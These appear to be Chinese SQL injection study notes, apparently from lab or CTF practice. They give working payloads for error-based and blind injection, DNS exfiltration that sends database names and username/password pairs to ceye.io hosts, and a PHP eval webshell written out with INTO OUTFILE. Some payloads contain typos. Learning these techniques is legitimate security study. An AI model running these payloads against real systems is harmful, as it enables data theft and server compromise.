sql注入學習

?基礎查詢語句:

給指定字段添加數據
insert into 表名(字段名1,字段名2,.....) values(值1,值2,......);
給全部字段添加數據
insert into 表名 values (值1,值2,.....);--無限制條件的修改,會修改整張表
update 表名 set 字段 = 值;
--有限制條件的修改,只修改特定記錄
update 表名 set 字段 = 值 where 條件(字段 = 值);replace
要確定表中是否已存在新行,MySQL使用PRIMARY KEY或UNIQUE KEY 索引。如果表沒有這些索引之一,則REPLACE語句等同于INSERT語句。
replace into 表名 VALUES(6,'wokou','新九州島','日本')

?

select + 列名 from +表名 where +限制 
select * from users where name in ('zxp');? //查詢所有name ='zxp'??1為填充列,union查詢后邊查詢的列必須和前邊的列相等
select * from users where id=6 union select *,1 from emails where id=6;由于頁面只會回顯一行,則需要將前邊語句不成立,union查詢的結果便會顯示
select * from use where id=-1 union select 1,2,3#查詢三列group by進行分組,分組不能超過查詢的列數,2 3 為填充列
select name,2,3 from user  group by 2  按第3列分組order 按照第幾列進行排序
select name,2,3 from user  group by 1 按照第一列排序limit 限制輸出行數
select * from user limit 0,3 從第一行開始輸出3行

一、報錯注入:

substr

1.extractvalue:注意

extractvalue updatexml都只能顯示最多32個字符?

需要用substr mid 截取

extractvalue() 第一個參數 XML文檔名稱 ,第二個參數 路徑

select extractvalue(doc,'/book/author/surname') from xml

如果路徑的第一個字符錯了,就會報錯??

?id=0'union select 1,2,extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,30)
from information_schema.schemata)))--+

2.updatexml(xml_document,xpath_string,new_value)??

select undatexml(doc,'/book/auther/surname','1') from xml
更改路徑的符號會報錯
select undatexml(doc,'~book/auther/surname','1') from xml

如果沒有用group_concat需要用limit?控制輸出第幾行

?id=1")union select 1,2,updatexml(1,concat(0x7e,(select mid(schema_name,1,30) from information_schema.schemata limit 0,1), 0x7e),1)--+

3.floor

rand()返回0~1間的小數? ?

floor向下取整? ceiling向上取整

concat_ws() 將括號里的數據用第一個字段連接起來

as 用于取別名

count() 匯總統計數量

?id=0" union select 1,count(*),concat_ws('-',(select substr(group_concat(table_name),1,30)
from information_schema.tables where table_schema='ctftraining'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
from information_schema.tables這個是為了讓行數多一點,

4.DNS外帶?

?dnslog帶外注入需要有文件讀取的操作權限才能進行。

僅限于windos環境

?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

因為在load_file里面不能使用@ ~等符號所以要區分數據我們可以先用group_ws()函數分割在用hex()函數轉成十六進制即可 出來了再轉回去

' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

二、盲注

1.布爾盲注

?id=1'and ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>40--+

2.時間盲注

?id=1'and if( ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>410,sleep(0),sleep(2))--+

三 、文件寫入

1.into outfile

需要mysql數據庫開啟secure-file-priv寫文件權限,否則不能寫入文件。?

查看是否有寫入權限
show variables like '%secure%'
其中當參數 secure_file_priv 為空時,對導入導出無限制
當值為一個指定的目錄時,只能向指定的目錄導入導出當值被設置為NULL時,禁止導入導出功能
使用條件
  • root權限

  • GPC關閉(能使用單引號)

  • 有絕對路徑(讀文件可以不用,寫文件必須)

  • 沒有配置—secure-file-priv

?id=-1')) union select 1,2,"<?php @eval($_POST['password');?" into outfile "/var/www/html1.php"--+

三.DNS外帶

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/211652.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/211652.shtml
英文地址,請注明出處:http://en.pswp.cn/news/211652.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

軟件設計師——計算機網絡(二)

&#x1f4d1;前言 本文主要是【計算機網絡】——軟件設計師——計算機網絡的文章&#xff0c;如果有什么需要改進的地方還請大佬指出?? &#x1f3ac;作者簡介&#xff1a;大家好&#xff0c;我是聽風與他&#x1f947; ??博客首頁&#xff1a;CSDN主頁聽風與他 &#x1…

Promise介紹和使用

Promise Promise是一門新的技術&#xff08;ES6規范&#xff09;&#xff0c;JS中進行異步編程的新解決方案。&#xff08;舊的方案是使用回調函數&#xff0c;比如AJAX請求&#xff09;。 從語法上來說Promise是一個構造函數。 從功能上來說Promise對象用來封裝一個異步操作并…

生成式AI賦能千行百業加速創新,2023亞馬遜云科技re:Invent行業盤點

2023亞馬遜云科技re:Invent全球大會已于上周圓滿閉幕&#xff0c;在本次大會中&#xff0c;亞馬遜云科技又為大家帶來了很多功能/項目迭代更新&#xff0c;也重磅發布了很多全新的功能。今天從行業視角來盤點回顧哪些重磅發布適用于垂直行業客戶&#xff0c;以及面向汽車、制造…

ChatGLM3-6B和langchain阿里云部署

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄 前言一、ChatGLM3-6B部署搭建環境部署GLM3 二、Chatglm2-6blangchain部署三、Tips四、總結 前言 提示&#xff1a;這里可以添加本文要記錄的大概內容&#xff1a; …

ffmpeg之ffprobe.c源碼分析一---大流程及核心代碼分析

文章目錄 前言為什么學習ffprobe源碼源碼調試main()函數重要流程函數分析open_input_file函數分析avformat_match_stream_specifier函數分析read_packets函數分析本篇文章帶你打通ffprobe源碼的脈絡。 關注公眾號免費看: 前言 注:本文章全憑個人經驗以及平時學習所記錄,由…

gdal合成多個波段

def synthesis_bands(dst_list, outfile):"""將多光譜波段合成一個tif:param dst_list: 輸入待合成文件的列表:param outfile: 影像的輸出文件夾"""dataset_init gdal.Open(dst_list[0])# 創建待輸出的圖tiff_driver gdal.GetDriverByName(GTi…

【MySQL進階】索引使用

一、索引使用 1.驗證索引效率 tb_sku 這張表中準備了 1000w 的記錄。 我用夸克網盤分享了「1000w的模擬數據」鏈接&#xff1a;https://pan.quark.cn/s/15cf665202b2 這張表中id為主鍵&#xff0c;有主鍵索引&#xff0c;而其他字段是沒有建立索引的。 我們先來查詢其中的…

JS基礎之原型原型鏈

JS基礎之原型&原型鏈 原型&原型鏈構造函數創建對象prototypeprotoconstructor實例與原型原型的原型原型鏈其他constructorproto繼承 原型&原型鏈 構造函數創建對象 我們先使用構造函數創建一個對象&#xff1a; function Person(){ } var person new Person();…

多窗口文件管理工具Q-Dir安裝以及使用教程

軟件介紹 Q-Dir 是一款功能強大的Windows資源管理器&#xff0c;可以非常方便的管理你的各種文件。Q-Dir有4 個窗口&#xff0c;特別適用于頻繁在各個目錄間跳躍復制粘貼的情況&#xff0c;每個窗口都可以方便的切換目錄&#xff0c;以不同顏色區分不同類型的文件&#xff0c;…

(企業項目)微服務項目解決跨域問題:

前后端分離項目中前端出現了跨域的問題 在網關模塊配置文件中添加 配置 application.properties # 允許請求來源&#xff08;老版本叫allowedOrigin&#xff09; spring.cloud.gateway.globalcors.cors-configurations.[/**].allowedOriginPatterns* # 允許攜帶的頭信息 spri…

idea__SpringBoot微服務06——靜態資源(新依賴),首頁和圖標定制

靜態資源 一、靜態資源二、首頁和圖標定制————————創作不易&#xff0c;如覺不錯&#xff0c;隨手點贊&#xff0c;關注&#xff0c;收藏(*&#xffe3;︶&#xffe3;)&#xff0c;謝謝~~ 新依賴&#xff1a;jquery的 <dependency><groupId>org.webjars&…

說說設計體系、風格指南和模式庫

目錄 一、定義 二、設計體系 2.1 Design system 2.2 風格指南 2.3 Component 三、樣式庫 一、定義 設計體系&#xff08;Design system&#xff09;&#xff1a;可共享的設計語言的基礎合集&#xff0c;包含了設計價值&#xff0c;語義&#xff0c;語法和上下文。 風格…

matplotlib 默認屬性和繪圖風格

matplotlib 默認屬性 一、繪圖風格1. 繪制疊加折線圖2. Solarize_Light23. _classic_test_patch4. _mpl-gallery5. _mpl-gallery-nogrid6. bmh7. classic8. fivethirtyeight9. ggplot10. grayscale11. seaborn12. seaborn-bright13. seaborn-colorblind14. seaborn-dark15. sea…

Chart 7 內存優化

文章目錄 前言7.1 Adreno GPU OpenCL內存7.1.1 內存聲明周期7.1.2 Loacl Memory7.1.3 Constant memory(常量內存)7.1.4 Private Memory7.1.5 Global Memory7.1.5.1 Buffer Object7.1.5.2 Image Object7.1.5.3 Image object vs. buffer object7.1.5.4 Use of both Image and buf…

C語言數據結構-雙向鏈表

文章目錄 1 雙向鏈表的結構2 雙向鏈表的實現2.1 定義雙向鏈表的數據結構2.2 打印鏈表2.3 初始化鏈表2.4 銷毀鏈表2.5 尾插,頭插2.6 尾刪,頭刪2.7 根據頭次出現數據找下標2.8 定點前插入2.9 刪除pos位置2.10 定點后插入 3 完整代碼3.1 List.h3.2 Lish.c3.3 test.c 1 雙向鏈表的結…

ajax中get和post的區別,datatype返回的數據類型有哪些?web開發中數據提交的幾種方式,有什么區別。百度使用哪種方式?

在Ajax中&#xff0c;GET和POST是兩種常見的HTTP請求方法。它們有以下區別&#xff1a; GET請求&#xff1a;使用GET請求時&#xff0c;參數數據會附加在URL的末尾&#xff0c;以查詢字符串的形式發送給服務器。GET請求是冪等的&#xff0c;也就是說多次發送相同的GET請求&…

鍵盤打字盲打練習系列之矯正坐姿——4

一.歡迎來到我的酒館 盲打&#xff0c;矯正坐姿&#xff01; 目錄 一.歡迎來到我的酒館二.繼續練習二.矯正坐姿1.鍵鼠快速選購指南2.椅子快速選購指南 三.改善坐姿建議 二.繼續練習 前面的章節&#xff0c;我們重點向大家介紹了主鍵盤區指法和鍵盤鍵位。經過一個系列的教程學習…

Mybatis環境搭建

1、開發環境 IDE&#xff1a;IntelliJ IDEA 2022.2.1 (Ultimate Edition) 構建工具&#xff1a;maven 3.6.1 MySQL版本&#xff1a;MySQL 5.7 MyBatis版本&#xff1a;MyBatis 3.5.14 2、工程創建 創建一個Maven工程giser-java-mybatis-demo 基礎依賴如下&#xff1a; &…

【Python】pip命令及使用

PIP命令 下面是一個整理成表格的pip命令及使用的示例&#xff1a; 命令使用示例說明pip install <package>pip install requests安裝名為"requests"的包pip uninstall <package>pip uninstall requests卸載名為"requests"的包pip listpip li…

用友U8 Cloud 多處反序列化RCE漏洞復現

0x01 產品簡介 用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成長型、創新型企業,提供企業級云ERP整體解決方案。 0x02 漏洞概述 用友U8 Cloud存在多處(TableInputOperServlet、LoginServlet 、FileTransportServlet、CacheInvokeServlet、ActionHandlerServlet、Servle…